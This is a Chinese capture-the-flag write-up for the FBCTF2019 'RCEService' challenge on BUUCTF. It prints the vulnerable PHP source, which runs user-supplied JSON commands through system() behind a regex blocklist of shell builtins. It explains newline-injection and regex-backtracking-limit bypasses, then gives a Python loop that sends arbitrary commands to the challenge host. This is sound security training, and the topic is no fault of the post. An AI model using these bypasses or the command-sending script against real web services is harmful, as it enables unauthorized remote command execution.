Loading

[BUUCTF题解][FBCTF2019]RCEService

### 知识点

PHP特性

过程

收集(扫目录+检查HTTP报文+查看初始页面HTML代码),但是啥都没找到,只能直接根据初始页面来了。

image-20220323112308143

先安要求构造看下回显,注意到存在过滤。

image-20220323112358879

image-20220323112502887

然后就去看WP了,因为过滤了其他很多东西(一开始试了半天没思路好奇当时怎么写的),然后发现这题有源码,只是题目里没提供—_—。

源码如下:

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}
?>

可以发现过滤了相当多的字符,但是可以注意到正则匹配表达式采用了^xxx$的格式,同时也采用了.*这样的贪婪匹配,所以有两个方案来绕过正则——回溯次数超限和利用%0a。

其次需要注意putenv('PATH=/home/rceservice/jail');意味着我们无法直接去调用cat等命令,因为这些命令实际上是存放在特定目录中封装好的程序,PATH环境变量就是存放这些特定目录的路径方便我们去直接调用这些命令,所以此处部分命令我们得使用其存放的绝对路径去调用(不知道这些命令在哪可以用whereis命令在自己VPS上查找)。

利用%0a:%0a对于^xxx$这个格式的绕过太常见了,只需要注意下表达式中存在一段image-20220323113348315会匹配一个%0a,但多在payload前后加几个%0a就行了。

image-20220323160338933

在根目录没找到flag。

image-20220323160505280

使用find命令搜索到flag

image-20220323160628194

image-20220323160726152

回溯次数超限:这个直接用python构造数据包上传就好了,payload直接用上面方法的最终payload。

image-20220323162123780

脚本源码:

import requests as res

url="http://a3388f0b-b347-4570-ad9e-88649da2aa29.node4.buuoj.cn:81/"
while(True):
    payload=input("resp:")
    resp=res.get(url,params={"cmd":'\x0a\x0a{"cmd":"%s"}\x0a\x0a'%(payload)})
    print(resp.text)
posted @ 2022-03-23 18:38  Article_kelp  阅读(1434)  评论(0)    收藏  举报